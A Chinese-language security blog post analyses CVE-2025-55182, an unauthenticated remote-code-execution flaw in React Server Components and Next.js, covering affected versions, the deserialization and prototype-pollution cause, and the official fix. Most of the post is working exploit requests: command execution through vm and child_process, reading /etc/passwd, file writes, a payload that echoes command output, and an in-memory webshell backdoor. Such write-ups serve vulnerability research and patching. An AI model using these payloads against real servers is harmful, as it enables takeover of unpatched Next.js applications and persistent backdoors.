前言 也是赶上趟了,这两天React2shell这个评分为10分的核弹级漏洞直接刷屏我的整个公众号。。。
但其实还是需要一些条件的,比如你要是纯前端写的或者没用RSC、或者前后端分离的项目,那就根本不会被这样打,那些说堪比21年底log4j的还是没这么夸张。贴一下漏洞作者的话:https://react2shell.com
遂看看分析记录一下,而且后续dify也受到这个洞的后续影响成为了超级重灾区,所以就直接大爆特爆了。
漏洞影响版本
漏洞名称
React/Next.js 组件无条件 RCE 漏洞
漏洞编号
CVE-2025-55182 CVE-2025-66478(已被撤回)
公开时间
2025-12-03
POC状态
已公开
漏洞类型
远程代码执行
EXP状态
已公开
利用可能性
高
技术细节状态
已公开
CVSS 3.1
10.0
在野利用状态
未发现
影响版本
React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including the following packages: react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack.
框架 (Next.js)
版本分支
受影响范围
v15.0.x
v15.0.0 - v15.0.4
v15.1.x
v15.1.0 - v15.1.8
v15.2-15.5
v15.2.x - v15.5.6
v16.0.x
v16.0.0 - v16.0.6
Canary
v14.3.0-canary.77 及以上
漏洞成因是React 在 Server Function 端点对传入载荷进行反序列化的逻辑存在缺陷 。未经身份验证的攻击者可构造特制的恶意载荷,使 React 在反序列化过程中触发任意代码执行,从而在服务器上实现 RCE。
漏洞利用原理 其实还是有一定局限性的,就如我前言提到的,你要是纯前端开发、没用RSC或者前后端分离这种就不会被打。
主要依赖路径
直接远程代码执行(Direct RCE)
攻击者通过污染原型链或对象属性,使目标代码在 Node.js 环境中直接调用高危内置模块(如 vm、child_process 等),实现一行代码执行。 典型利用方式:
使用 vm.runInThisContext()、vm.runInNewContext() 或 new Function() 直接执行恶意 JavaScript 字符串 使用 child_process.exec()、child_process.execSync() 等直接执行系统命令
间接远程代码执行(Indirect RCE)
当直接危险模块被移除或不可达时,攻击者转而利用 fs 模块或其他持久化手段,先写入恶意文件,再触发加载执行。 典型利用方式:
通过 fs.writeFileSync / fs.appendFile 等将恶意代码写入 .js、.mjs、.json(带 “type”: “module” 时可执行代码)或启动脚本 再通过 require()、import()、module#_load 钩子、或触发自动加载机制(如包的 preinstall 脚本)执行已写入的恶意文件
原型链污染导致的原始能力恢复(Prototype Pollution → Primitives Recovery)
这是最常见的入口点。即使目标 bundle 中没有直接暴露危险模块,攻击者仍可通过污染 proto、constructor.prototype 或 object.prototype 等属性,逐步恢复关键原语,最终拿到 Function 构造函数或 child_process 对象。
(网上跟这个洞的源码分析很多,这里就懒得写了hhh)
漏洞复现 ejpir/CVE-2025-55182-research: CVE-2025-55182 POC
1 2 3 4 5 6 git clone https://github.com/ejpir/CVE-2025-55182-poc.gitcd CVE-2025-55182-poc npm install node --conditions react-server --conditions webpack src/server.js
RCE测试 poc取自上述公开poc。
RCE 攻击报文 (基于 vm#runInThisContext) 1 2 3 4 5 6 7 8 9 10 11 12 13 POST /formaction HTTP/1.1 Host : 192.168.75.129:3002Content-Type : multipart/form-data; boundary=----BoundaryContent-Length : [自动计算的长度]Content-Disposition: form-data; name ="$ACTION_REF_0" Content-Disposition: form-data; name ="$ACTION_0:0" {"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()"]}
直接命令执行报文 (基于 child_process#execSync) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /formaction HTTP/1.1 Host : 192.168.75.129:3002Content-Type : multipart/form-data; boundary=----BoundaryContent-Length : [自动计算的长度]Content -Disposition : form-data ; name="$ACTION_REF_0 "Content -Disposition : form-data ; name="$ACTION_0 :0"{"id" :"child_process#execSync" ,"bound" :["whoami" ]}
文件读取报文 (基于 fs#readFileSync) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /formaction HTTP/1.1 Host : 192.168.75.129:3002Content-Type : multipart/form-data; boundary=----BoundaryContent-Length : [自动计算的长度]Content -Disposition : form-data ; name="$ACTION_REF_0 "Content -Disposition : form-data ; name="$ACTION_0 :0"{"id" :"fs#readFileSync" ,"bound" :["/etc/passwd" ,"utf8" ]}
文件写入报文 (基于 fs#writeFileSync) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /formaction HTTP/1.1 Host : 192.168.75.129:3002Content-Type : multipart/form-data; boundary=----BoundaryContent-Length : [自动计算的长度]Content -Disposition : form-data ; name="$ACTION_REF_0 "Content -Disposition : form-data ; name="$ACTION_0 :0"{"id" :"fs#writeFileSync" ,"bound" :["/tmp/pwned.txt" ,"CVE-2025-55182 was here" ]}
网传payload 1)RCE版 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 POST /apps HTTP/1.1 Host : ip:portUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0Next-Action : xX-Nextjs-Request-Id : b5dce965Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3SadX-Nextjs-Html-Request-Id : SSTMXm7OJ_g0Ncx6jpQt9Content-Length : 565Content-Disposition: form-data; name ="0" {"then":"$1:__proto__:then","status":"resolved_model","reason":-1 ,"value":"{\"then \":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('payload');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}} Content-Disposition: form-data; name ="1" "$@0" Content-Disposition: form-data; name ="2" []
这个好像也能回显。
2)回显版 本质为:
1 { "then" : "$1:__proto__:then" , "status" : "resolved_model" , "reason" : -1 , "value" : "{\"then\":\"$B1337\"}" , "_response" : { "_prefix" : "var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});" , "_chunks" : "$Q2" , "_formData" : { "get" : "$1:constructor:constructor" } } }
报文:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 POST /apps HTTP/2 Host : ip:portAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Next-Action : xX-Nextjs-Request-Id : ungqoyahX-Nextjs-Html-Request-Id : zTBfMjKDeKps9lK2x4VbyContent-Type : multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3SadContent-Length : 705Content-Disposition: form-data; name ="0" {"then":"$1:__proto__:then","status":"resolved_model","reason":-1 ,"value":"{\"then \":\"$B1337\"}","_response":{"_prefix":"var res = Buffer.from(process.mainModule.require('child_process').execSync('id')).toString('base64');;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}} Content-Disposition: form-data; name ="1" "$@0" Content-Disposition: form-data; name ="2" []
只不过这里会在Response的X-Action-Redirect处显示base64编码后的结果。
3)内存马版 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 POST /apps HTTP/1.1 Host : ip:portUser-Agent : Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36Accept-Encoding : gzip, deflateConnection : closeNext-Action : xX-Nextjs-Request-Id : ungqoyahX-Nextjs-Html-Request-Id : zTBfMjKDeKps9lK2x4VbyContent-Type : multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3SadContent-Length : 1120Content-Disposition: form-data; name ="0" {"then":"$1:__proto__:then","status":"resolved_model","reason":-1 ,"value":"{\"then \":\"$B1337\"}","_response":{"_prefix":"(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const originalEmit=http.Server.prototype.emit;http.Server.prototype.emit=function(event,...args){if(event==='request'){const[req,res]=args;const parsedUrl=url.parse(req.url,true);if(parsedUrl.pathname==='/deep'){const cmd=parsedUrl.query.cmd||'whoami';cp.exec(cmd,(err,stdout,stderr)=>{res.writeHead(200,{'Content-Type':'application/json'});res.end(JSON.stringify({success:!err,stdout,stderr,error:err?err.message:null}));});return true;}}return originalEmit.apply(this,arguments);};})();","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}} Content-Disposition: form-data; name ="1" "$@0" Content-Disposition: form-data; name ="2" []
parsedUrl.pathname==='/deep'修改路径即可。RCE参数为GET传参cmd。
官方修复 修复是直接在此处加了个hasOwnProperty检查所有权,避免了外部的引用:
1 2 3 4 5 6 7 8 9 10 @@ -78 ,7 +80 ,10 @@ export function preloadModule<T>( export function requireModule<T>(metadata : ClientReference <T>): T { const moduleExports = parcelRequire (metadata[ID ]); - return moduleExports[metadata[NAME ]]; + if (hasOwnProperty.call (moduleExports, metadata[NAME ])) { + return moduleExports[metadata[NAME ]]; + } + return (undefined : any); }
参考链接:
【严重!已复现】React Server Components (CVE-2025-55182)远程代码执行漏洞安全风险通告
漏洞预警 | React/Next.js组件RCE漏洞(CVE-2025-55182)详情分析-【附验证环境】
【已复现】React/Next.js 组件无条件 RCE 漏洞(CVE-2025-55182)
Next.js RCE(CVE-2025-55182)漏洞复现
【已复现】Next.js 无条件RCE,回显Payload+内存马Payload
CVE-2025-55182的复现与修复-CSDN博客
最新RCE漏洞CVE-2025-55182的复现与修复-CSDN博客
ejpir/CVE-2025-55182-research: CVE-2025-55182 POC
msanft/CVE-2025-55182: Explanation and full RCE PoC for CVE-2025-55182
反转!dify将昨天的next.js跳蛋漏洞变为大漏洞!dify利用率较高! - FreeBuf网络安全行业门户
CVE-2025-66478 Next.js 远程代码执行漏洞-CSDN博客
React2Shell (CVE-2025-55182)